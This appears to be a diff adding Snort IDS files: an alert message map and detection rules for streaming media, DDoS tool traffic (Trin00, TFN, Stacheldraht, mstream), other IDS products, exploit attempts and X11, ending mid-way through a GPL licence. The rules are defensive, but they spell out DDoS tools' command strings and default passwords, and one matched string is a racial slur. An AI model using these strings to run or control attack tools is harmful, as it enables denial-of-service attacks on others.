+1 || 1 || snort general alert
+2 || 1 || tag: Tagged Packet
+100 || 1 || spp_portscan: Portscan Detected
+100 || 2 || spp_portscan: Portscan Status
+100 || 3 || spp_portscan: Portscan Ended
+101 || 1 || spp_minfrag: minfrag alert
+102 || 1 || http_decode: Unicode Attack
+102 || 2 || http_decode: CGI NULL Byte Attack
+102 || 3 || http_decode: large method attempted
+102 || 4 || http_decode: missing uri
+102 || 5 || http_decode: double encoding detected
+102 || 6 || http_decode: illegal hex values detected
+102 || 7 || http_decode: overlong character detected
+103 || 1 || spp_defrag: Fragmentation Overflow Detected
+103 || 2 || spp_defrag: Stale Fragments Discarded
+104 || 1 || spp_anomsensor: SPADE Anomaly Threshold Exceeded
+104 || 2 || spp_anomsensor: SPADE Anomaly Threshold Adjusted
+105 || 1 || spp_bo: Back Orifice Traffic Detected
+105 || 2 || spp_bo: Back Orifice Client Traffic Detected
+105 || 3 || spp_bo: Back Orifice Server Traffic Detected
+106 || 1 || spp_rpc_decode: Fragmented RPC Records
+106 || 2 || spp_rpc_decode: Multiple Records in one packet
+106 || 3 || spp_rpc_decode: Large RPC Record Fragment
+106 || 4 || spp_rpc_decode: Incomplete RPC segment
+110 || 1 || spp_unidecode: CGI NULL Attack
+110 || 2 || spp_unidecode: Directory Traversal
+110 || 3 || spp_unidecode: Unknown Mapping
+110 || 4 || spp_unidecode: Invalid Mapping
+111 || 1 || spp_stream4: Stealth Activity Detected
+111 || 2 || spp_stream4: Evasive Reset Packet
+111 || 3 || spp_stream4: Retransmission
+111 || 4 || spp_stream4: Window Violation
+111 || 5 || spp_stream4: Data on SYN Packet
+111 || 6 || spp_stream4: Full XMAS Stealth Scan
+111 || 7 || spp_stream4: SAPU Stealth Scan
+111 || 8 || spp_stream4: FIN Stealth Scan 
+111 || 9 || spp_stream4: NULL Stealth Scan
+111 || 10 || spp_stream4: NMAP XMAS Stealth Scan
+111 || 11 || spp_stream4: VECNA Stealth Scan
+111 || 12 || spp_stream4: NMAP Fingerprint Stateful Detection
+111 || 13 || spp_stream4: SYN FIN Stealth Scan
+111 || 14 || spp_stream4: TCP forward overlap detected
+111 || 15 || spp_stream4: TTL Evasion attempt
+111 || 16 || spp_stream4: Evasive retransmitited data attempt
+111 || 17 || spp_stream4: Evasive retransmitited data with the data split attempt
+111 || 18 || spp_stream4: Multiple acked
+111 || 19 || spp_stream4: Shifting to Emegency Session Mode
+111 || 20 || spp_stream4: Shifting to Suspend Mode
+111 || 21 || spp_stream4: TCP Timestamp option has value of zero
+111 || 22 || spp_stream4: Too many overlapping TCP packets
+111 || 23 || spp_stream4: Packet in established TCP stream missing ACK
+112 || 1 || spp_arpspoof: Directed ARP Request
+112 || 2 || spp_arpspoof: Etherframe ARP Mismatch SRC
+112 || 3 || spp_arpspoof: Etherframe ARP Mismatch DST
+112 || 4 || spp_arpspoof: ARP Cache Overwrite Attack
+113 || 1 || spp_frag2: Oversized Frag
+113 || 2 || spp_frag2: Teardrop/Fragmentation Overlap Attack
+113 || 3 || spp_frag2: TTL evasion detected
+113 || 4 || spp_frag2: overlap detected
+113 || 5 || spp_frag2: Duplicate first fragments
+113 || 6 || spp_frag2: memcap exceeded
+113 || 7 || spp_frag2: Out of order fragments
+113 || 8 || spp_frag2: IP Options on Fragmented Packet
+113 || 9 || spp_frag2: Shifting to Emegency Session Mode
+113 || 10 || spp_frag2: Shifting to Suspend Mode
+114 || 1 || spp_fnord: Possible Mutated GENERIC NOP Sled detected
+114 || 2 || spp_fnord: Possible Mutated IA32 NOP Sled detected
+114 || 3 || spp_fnord: Possible Mutated HPPA NOP Sled detected
+114 || 4 || spp_fnord: Possible Mutated SPARC NOP Sled detected
+115 || 1 || spp_asn1: Indefinite ASN.1 length encoding
+115 || 2 || spp_asn1: Invalid ASN.1 length encoding
+115 || 3 || spp_asn1: ASN.1 oversized item, possible overflow
+115 || 4 || spp_asn1: ASN.1 spec violation, possible overflow
+115 || 5 || spp_asn1: ASN.1 Attack: Datum length > packet length
+116 || 1 || snort_decoder: Not IPv4 datagram!
+116 || 2 || snort_decoder: WARNING: Not IPv4 datagram!
+116 || 3 || snort_decoder: WARNING: hlen < IP_HEADER_LEN!
+116 || 4 || snort_decoder: Bad IPv4 Options
+116 || 5 || snort_decoder: Truncated IPv4 Options
+116 || 45 || snort_decoder: TCP packet len is smaller than 20 bytes!
+116 || 46 || snort_decoder: TCP Data Offset is less than 5!
+116 || 47 || snort_decoder: TCP Data Offset is longer than payload!
+116 || 54 || snort_decoder: Tcp Options found with bad lengths
+116 || 55 || snort_decoder: Truncated Tcp Options
+116 || 56 || snort_decoder: T/TCP Detected
+116 || 57 || snort_decoder: Obsolete TCP options
+116 || 58 || snort_decoder: Experimental TCP options
+116 || 95 || snort_decoder: Truncated UDP Header!
+116 || 96 || snort_decoder: Invalid UDP header, length field < 8
+116 || 97 || snort_decoder: Short UDP packet, length field > payload length
+116 || 105 || snort_decoder: ICMP Header Truncated!
+116 || 106 || snort_decoder: ICMP Timestamp Header Truncated!
+116 || 107 || snort_decoder: ICMP Address Header Truncated!
+116 || 108 || snort_decoder: Unknown Datagram decoding problem!
+116 || 109 || snort_decoder: Truncated ARP Packet!
+116 || 110 || snort_decoder: Truncated EAP Header!
+116 || 111 || snort_decoder: EAP Key Truncated!
+116 || 112 || snort_decoder: EAP Header Truncated!
+116 || 120 || snort_decoder: WARNING: Bad PPPOE frame detected!
+116 || 130 || snort_decoder: WARNING: Bad VLAN Frame!
+116 || 131 || snort_decoder: WARNING: Bad LLC header!
+116 || 132 || snort_decoder: WARNING: Bad Extra LLC Info!
+116 || 133 || snort_decoder: WARNING: Bad 802.11 LLC header!
+116 || 134 || snort_decoder: WARNING: Bad 802.11 Extra LLC Info!
+116 || 140 || snort_decoder: WARNING: Bad Token Ring Header!
+116 || 141 || snort_decoder: WARNING: Bad Token Ring ETHLLC Header!
+116 || 142 || snort_decoder: WARNING: Bad Token Ring MRLEN Header!
+116 || 143 || snort_decoder: WARNING: Bad Token Ring MR Header!
+116 || 150 || snort_decoder: Bad Traffic Loopback IP!
+116 || 151 || snort_decoder: Bad Traffic Same Src/Dst IP!
+117 || 1 || spp_portscan2: Portscan detected!
+118 || 1 || spp_conversation: Bad IP protocol!
+119 || 1 || http_inspect: ASCII ENCODING
+119 || 2 || http_inspect: DOUBLE DECODING ATTACK
+119 || 3 || http_inspect: U ENCODING
+119 || 4 || http_inspect: BARE BYTE UNICODE ENCODING
+119 || 5 || http_inspect: BASE36 ENCODING
+119 || 6 || http_inspect: UTF-8 ENCODING
+119 || 7 || http_inspect: IIS UNICODE CODEPOINT ENCODING
+119 || 8 || http_inspect: MULTI_SLASH ENCODING
+119 || 9 || http_inspect: IIS BACKSLASH EVASION
+119 || 10 || http_inspect: SELF DIRECTORY TRAVERSAL
+119 || 11 || http_inspect: DIRECTORY TRAVERSAL
+119 || 12 || http_inspect: APACHE WHITESPACE (TAB)
+119 || 13 || http_inspect: NON-RFC HTTP DELIMITER
+119 || 14 || http_inspect: NON-RFC DEFINED CHAR
+119 || 15 || http_inspect: OVERSIZE REQUEST-URI DIRECTORY
+119 || 16 || http_inspect: OVERSIZE CHUNK ENCODING
+119 || 17 || http_inspect: UNAUTHORIZED PROXY USE DETECTED
+119 || 18 || http_inspect: WEBROOT DIRECTORY TRAVERSAL
+120 || 1 || http_inspect: ANOMALOUS HTTP SERVER ON UNDEFINED HTTP PORT
+121 || 1 || flow-portscan: Fixed Scale Scanner Limit Exceeded
+121 || 2 || flow-portscan: Sliding Scale Scanner Limit Exceeded
+121 || 3 || flow-portscan: Fixed Scale Talker Limit Exceeded
+121 || 4 || flow-portscan: Sliding Scale Talker Limit Exceeded
+122 || 1 || portscan: TCP Portscan
+122 || 2 || portscan: TCP Decoy Portscan
+122 || 3 || portscan: TCP Portsweep
+122 || 4 || portscan: TCP Distributed Portscan
+122 || 5 || portscan: TCP Filtered Portscan
+122 || 6 || portscan: TCP Filtered Decoy Portscan
+122 || 7 || portscan: TCP Filtered Portsweep
+122 || 8 || portscan: TCP Filtered Distributed Portscan
+122 || 9 || portscan: IP Protocol Scan
+122 || 10 || portscan: IP Decoy Protocol Scan
+122 || 11 || portscan: IP Protocol Sweep
+122 || 12 || portscan: IP Distributed Protocol Scan
+122 || 13 || portscan: IP Filtered Protocol Scan
+122 || 14 || portscan: IP Filtered Decoy Protocol Scan
+122 || 15 || portscan: IP Filtered Protocol Sweep
+122 || 16 || portscan: IP Filtered Distributed Protocol Scan
+122 || 17 || portscan: UDP Portscan
+122 || 18 || portscan: UDP Decoy Portscan
+122 || 19 || portscan: UDP Portsweep
+122 || 20 || portscan: UDP Distributed Portscan
+122 || 21 || portscan: UDP Filtered Portscan
+122 || 22 || portscan: UDP Filtered Decoy Portscan
+122 || 23 || portscan: UDP Filtered Portsweep
+122 || 24 || portscan: UDP Filtered Distributed Portscan
+122 || 25 || portscan: ICMP Sweep
+122 || 26 || portscan: ICMP Filtered Sweep
+122 || 27 || portscan: Open Port
+123 || 1 || frag3: IP Options on fragmented packet
+123 || 2 || frag3: Teardrop attack
+123 || 3 || frag3: Short fragment, possible DoS attempt
+123 || 4 || frag3: Fragment packet ends after defragmented packet
+123 || 5 || frag3: Zero-byte fragment
+123 || 6 || frag3: Bad fragment size, packet size is negative
+123 || 7 || frag3: Bad fragment size, packet size is greater than 65536
+123 || 8 || frag3: Fragmentation overlap
+124 || 1 || xlink2state: X-Link2State length greater than 1024
--- snort-2.8.5.2.orig/rules/multimedia.rules
+++ snort-2.8.5.2/rules/multimedia.rules
@@ -0,0 +1,36 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: multimedia.rules,v 1.13.2.1.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+#-------------
+# MULTIMEDIA RULES
+#-------------
+# These signatures look for people using streaming multimedia technologies.
+# Using streaming media may be a violation of corporate policies.
+
+
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"MULTIMEDIA Windows Media download"; flow:from_server,established; content:"Content-Type|3A|"; nocase; pcre:"/^Content-Type\x3a\s*(?=[av])(video\/x\-ms\-(w[vm]x|asf)|a(udio\/x\-ms\-w(m[av]|ax)|pplication\/x\-ms\-wm[zd]))/smi"; classtype:policy-violation; sid:1437; rev:6;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"MULTIMEDIA Quicktime User Agent access"; flow:to_server,established; content:"User-Agent|3A| Quicktime"; nocase; classtype:policy-violation; sid:1436; rev:5;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"MULTIMEDIA Shoutcast playlist redirection"; flow:from_server,established; content:"Content-type|3A| audio/x-scpls"; nocase; content:"|0A|"; within:2; classtype:policy-violation; sid:1439; rev:5;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"MULTIMEDIA Icecast playlist redirection"; flow:from_server,established; content:"Content-type|3A| audio/x-mpegurl"; nocase; content:"|0A|"; within:2; classtype:policy-violation; sid:1440; rev:5;)
+alert tcp $HOME_NET any -> 64.245.58.0/23 any (msg:"MULTIMEDIA audio galaxy keepalive"; flow:established; content:"E_|00 03 05|"; depth:5; classtype:misc-activity; sid:1428; rev:5;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MULTIMEDIA realplayer .ram playlist download attempt"; flow:to_server,established; uricontent:".ram"; nocase; flowbits:set,realplayer.playlist; flowbits:noalert; classtype:misc-activity; sid:2419; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MULTIMEDIA realplayer .rmp playlist download attempt"; flow:to_server,established; uricontent:".rmp"; nocase; flowbits:set,realplayer.playlist; flowbits:noalert; classtype:misc-activity; sid:2420; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MULTIMEDIA realplayer .smi playlist download attempt"; flow:to_server,established; uricontent:".smi"; nocase; flowbits:set,realplayer.playlist; flowbits:noalert; classtype:misc-activity; sid:2421; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MULTIMEDIA realplayer .rt playlist download attempt"; flow:to_server,established; uricontent:".rt"; nocase; flowbits:set,realplayer.playlist; flowbits:noalert; classtype:misc-activity; sid:2422; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MULTIMEDIA realplayer .rp playlist download attempt"; flow:to_server,established; uricontent:".rp"; nocase; flowbits:set,realplayer.playlist; flowbits:noalert; classtype:misc-activity; sid:2423; rev:3;)
--- snort-2.8.5.2.orig/rules/community-web-dos.rules
+++ snort-2.8.5.2/rules/community-web-dos.rules
@@ -0,0 +1,5 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-dos.rules,v 1.8 2005/03/08 14:41:42 bmc Exp $
+
--- snort-2.8.5.2.orig/rules/ddos.rules
+++ snort-2.8.5.2/rules/ddos.rules
@@ -0,0 +1,66 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: ddos.rules,v 1.23.2.3.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+#-----------
+# DDOS RULES
+#-----------
+
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe"; icmp_id:678; itype:8; content:"1234"; reference:arachnids,443; classtype:attempted-recon; sid:221; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA"; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00 Daemon to Master PONG message detected"; content:"PONG"; reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0; reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)
+
+
+alert tcp $HOME_NET 20432 -> $EXTERNAL_NET any (msg:"DDOS shaft client login to handler"; flow:from_server,established; content:"login|3A|"; reference:arachnids,254; reference:url,security.royans.net/info/posts/bugtraq_ddos3.shtml; classtype:attempted-dos; sid:230; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 18753 (msg:"DDOS shaft handler to agent"; content:"alive tijgu"; reference:arachnids,255; classtype:attempted-dos; sid:239; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 20433 (msg:"DDOS shaft agent to handler"; content:"alive"; reference:arachnids,256; classtype:attempted-dos; sid:240; rev:2;)
+# alert tcp $HOME_NET any <> $EXTERNAL_NET any (msg:"DDOS shaft synflood"; flow:stateless; flags:S,12; seq:674711609; reference:arachnids,253; reference:cve,2000-0138; classtype:attempted-dos; sid:241; rev:10;)
+
+
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00 Daemon to Master message detected"; content:"l44"; reference:arachnids,186; classtype:attempted-dos; sid:231; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00 Daemon to Master *HELLO* message detected"; content:"*HELLO*"; reference:arachnids,185; reference:url,www.sans.org/newlook/resources/IDFAQ/trinoo.htm; classtype:attempted-dos; sid:232; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 27665 (msg:"DDOS Trin00 Attacker to Master default startup password"; flow:established,to_server; content:"betaalmostdone"; reference:arachnids,197; classtype:attempted-dos; sid:233; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 27665 (msg:"DDOS Trin00 Attacker to Master default password"; flow:established,to_server; content:"gOrave"; classtype:attempted-dos; sid:234; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 27665 (msg:"DDOS Trin00 Attacker to Master default mdie password"; flow:established,to_server; content:"killme"; classtype:bad-unknown; sid:235; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 27444 (msg:"DDOS Trin00 Master to Daemon default password attempt"; content:"l44adsl"; reference:arachnids,197; classtype:attempted-dos; sid:237; rev:2;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"DDOS TFN server response"; icmp_id:123; icmp_seq:0; itype:0; content:"shell bound to port"; reference:arachnids,182; classtype:attempted-dos; sid:238; rev:6;)
+
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 6838 (msg:"DDOS mstream agent to handler"; content:"newserver"; classtype:attempted-dos; sid:243; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 10498 (msg:"DDOS mstream handler to agent"; content:"stream/"; reference:cve,2000-0138; classtype:attempted-dos; sid:244; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 10498 (msg:"DDOS mstream handler ping to agent"; content:"ping"; reference:cve,2000-0138; classtype:attempted-dos; sid:245; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 10498 (msg:"DDOS mstream agent pong to handler"; content:"pong"; classtype:attempted-dos; sid:246; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 12754 (msg:"DDOS mstream client to handler"; flow:to_server,established; content:">"; reference:cve,2000-0138; classtype:attempted-dos; sid:247; rev:4;)
+alert tcp $HOME_NET 12754 -> $EXTERNAL_NET any (msg:"DDOS mstream handler to client"; flow:to_client,established; content:">"; reference:cve,2000-0138; classtype:attempted-dos; sid:248; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 15104 (msg:"DDOS mstream client to handler"; flow:stateless; flags:S,12; reference:arachnids,111; reference:cve,2000-0138; classtype:attempted-dos; sid:249; rev:8;)
+alert tcp $HOME_NET 15104 -> $EXTERNAL_NET any (msg:"DDOS mstream handler to client"; flow:from_server,established; content:">"; reference:cve,2000-0138; classtype:attempted-dos; sid:250; rev:4;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS - TFN client command LE"; icmp_id:51201; icmp_seq:0; itype:0; reference:arachnids,183; classtype:attempted-dos; sid:251; rev:3;)
+
+
+alert icmp 3.3.3.3/32 any -> $EXTERNAL_NET any (msg:"DDOS Stacheldraht server spoof"; icmp_id:666; itype:0; reference:arachnids,193; classtype:attempted-dos; sid:224; rev:3;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"DDOS Stacheldraht gag server response"; icmp_id:669; itype:0; content:"sicken"; reference:arachnids,195; classtype:attempted-dos; sid:225; rev:6;)
+alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"DDOS Stacheldraht server response"; icmp_id:667; itype:0; content:"ficken"; reference:arachnids,191; classtype:attempted-dos; sid:226; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS Stacheldraht client spoofworks"; icmp_id:1000; itype:0; content:"spoofworks"; reference:arachnids,192; classtype:attempted-dos; sid:227; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS Stacheldraht client check gag"; icmp_id:668; itype:0; content:"gesundheit!"; reference:arachnids,194; classtype:attempted-dos; sid:236; rev:6;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS Stacheldraht client check skillz"; icmp_id:666; itype:0; content:"skillz"; reference:arachnids,190; classtype:attempted-dos; sid:229; rev:5;)
+alert icmp $EXTERNAL_NET any <> $HOME_NET any (msg:"DDOS Stacheldraht handler->agent niggahbitch"; icmp_id:9015; itype:0; content:"niggahbitch"; reference:url,staff.washington.edu/dittrich/misc/stacheldraht.analysis; classtype:attempted-dos; sid:1854; rev:7;)
+alert icmp $EXTERNAL_NET any <> $HOME_NET any (msg:"DDOS Stacheldraht agent->handler skillz"; icmp_id:6666; itype:0; content:"skillz"; reference:url,staff.washington.edu/dittrich/misc/stacheldraht.analysis; classtype:attempted-dos; sid:1855; rev:7;)
+alert icmp $EXTERNAL_NET any <> $HOME_NET any (msg:"DDOS Stacheldraht handler->agent ficken"; icmp_id:6667; itype:0; content:"ficken"; reference:url,staff.washington.edu/dittrich/misc/stacheldraht.analysis; classtype:attempted-dos; sid:1856; rev:7;)
--- snort-2.8.5.2.orig/rules/other-ids.rules
+++ snort-2.8.5.2/rules/other-ids.rules
@@ -0,0 +1,37 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: other-ids.rules,v 1.10.2.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+# ---------------
+# OTHER-IDS RULES
+# ---------------
+# These signatures look for uses of other IDSs.
+#
+# These signatures serve two purposes.
+#  1) If you are "IDS GUY" for a company, and someone else sets up an IDS
+#     without letting you know, thats bad.
+#  2) If you are "pen-tester", this is a good way to find out what IDS
+#     systems your target is using after you have gained access to their
+#     network.
+#
+
+
+alert tcp $HOME_NET 902 -> $EXTERNAL_NET any (msg:"OTHER-IDS ISS RealSecure 6 event collector connection attempt"; flow:from_server,established; content:"6ISS ECNRA Built-In Provider, Strong Encryption"; depth:70; offset:30; nocase; classtype:successful-recon-limited; sid:1760; rev:3;)
+alert tcp $HOME_NET 2998 -> $EXTERNAL_NET any (msg:"OTHER-IDS ISS RealSecure 6 daemon connection attempt"; flow:from_server,established; content:"6ISS ECNRA Built-In Provider, Strong Encryption"; depth:70; offset:30; nocase; classtype:successful-recon-limited; sid:1761; rev:3;)
+
+# To limit false positives, limit to the default port of 975
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"OTHER-IDS SecureNetPro traffic"; flow:established; content:"|00|g|00 01 00 03|"; depth:6; classtype:bad-unknown; sid:1629; rev:6;)
--- snort-2.8.5.2.orig/rules/community-exploit.rules
+++ snort-2.8.5.2/rules/community-exploit.rules
@@ -0,0 +1,11 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-exploit.rules,v 1.17 2006/08/18 19:38:06 akirk Exp $
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Flowbit"; flow:to_server,established; pcre:"/.{1050,}/U"; flowbits:set,community_uri.size.1050; flowbits:noalert; reference:cve,2004-0629; reference: bugtraq,10947; classtype:attempted-user; sid: 100000100; rev:2;)
+#alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Exploit"; flow:to_client,established; content:"Content-Type|3A|"; nocase; pcre:"/^Content-Type\x3a\s*application\x2f(pdf|vnd\x2efdf|vnd\x2eadobe\x2exfdf|vnd\x2eadobe\x2exdp+xml|vnd\x2e\ adobe\x2exfd+xml)/smi"; flowbits:isset,community_uri.size.1050; reference:cve,2004-0629; reference:bugtraq,10947; classtype:attempted-user; sid:100000101; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 5093 (msg:"COMMUNITY EXPLOIT Sentinel LM exploit"; dsize:2048; reference:bugtraq,12742; reference:cve,2005-0353; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=14605; reference:nessus,17326; classtype:attempted-dos; sid:100000165; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"COMMUNITY EXPLOIT HPUX LPD overflow attempt"; flow:to_server,established; content:"|24 7B 49 46 53 7D|"; reference:cve,2005-3277; reference:bugtraq,15136; classtype:attempted-dos; sid:100000176; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 5060 (msg:"COMMUNITY EXPLOIT SIP UDP spoof attempt"; content:"|3B|branch|3D 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0A|"; nocase; reference:bugtraq,14174; reference:cve,2005-2182; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=17838; classtype:attempted-dos; sid:100000180; rev:1;) 
+alert udp $EXTERNAL_NET any -> $HOME_NET 65535 (msg:"COMMUNITY EXPLOIT LANDesk Management Suite Alerting Service buffer overflow"; dsize:>268; reference: bugtraq,23483; reference: cve,2007-1674; classtype: attempted-admin; sid:100000928; rev:1;)
--- snort-2.8.5.2.orig/rules/x11.rules
+++ snort-2.8.5.2/rules/x11.rules
@@ -0,0 +1,24 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: x11.rules,v 1.19.2.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#----------
+# X11 RULES
+#----------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6000 (msg:"X11 MIT Magic Cookie detected"; flow:established; content:"MIT-MAGIC-COOKIE-1"; reference:arachnids,396; classtype:attempted-user; sid:1225; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6000 (msg:"X11 xopen"; flow:established; content:"l|00 0B 00 00 00 00 00 00 00 00 00|"; reference:arachnids,395; classtype:unknown; sid:1226; rev:4;)
--- snort-2.8.5.2.orig/rules/LICENSE
+++ snort-2.8.5.2/rules/LICENSE
@@ -0,0 +1,340 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
